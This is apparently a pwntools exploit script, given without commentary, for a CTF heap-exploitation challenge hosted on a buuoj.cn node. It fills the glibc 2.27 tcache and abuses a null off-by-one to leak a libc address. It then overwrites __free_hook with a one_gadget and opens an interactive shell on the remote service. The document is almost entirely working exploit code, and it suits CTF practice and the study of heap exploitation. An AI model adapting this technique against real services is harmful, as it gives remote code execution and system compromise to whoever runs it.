1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import *
sh = remote('node3.buuoj.cn',27466) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook']
def add(size,content): sh.sendlineafter('which command?','1') sh.sendlineafter('size',str(size)) sh.sendlineafter('content',content)
def delete(index): sh.sendlineafter('which command?','2') sh.sendlineafter('index',str(index))
def show(index): sh.sendlineafter('which command?','3') sh.sendlineafter('index',str(index))
add(0xF0,'a'*0xF0) add(0xF0,'b'*0xF0) add(0xF0,'c'*0xF0)
for i in range(7): add(0xF0,'d'*0xF0)
for i in range(3,10): delete(i)
delete(0)
delete(1)
delete(2)
for i in range(7): add(0xF0,'d'*0xF0)
add(0xF0,'a'*0xF0) add(0xF0,'b'*0xF0) add(0xF0,'c'*0xF0)
for i in range(7): delete(i)
delete(7)
for i in range(7): add(0xF0,'d'*0xF0)
delete(8) add(0xF8,'null off by one')
for i in range(7): delete(i)
delete(9)
for i in range(7): add(0xF0,'d'*0xF0)
add(0xF0,'a') show(7) sh.recvuntil('> ') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s one_gadget_addr = libc_base + 0x4f322 print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) add(0xF0,'b') delete(0) delete(1)
delete(7) delete(9)
add(0xF0,p64(free_hook_addr)) add(0xF0,'a') add(0xF0,p64(one_gadget_addr))
delete(1)
sh.interactive()
|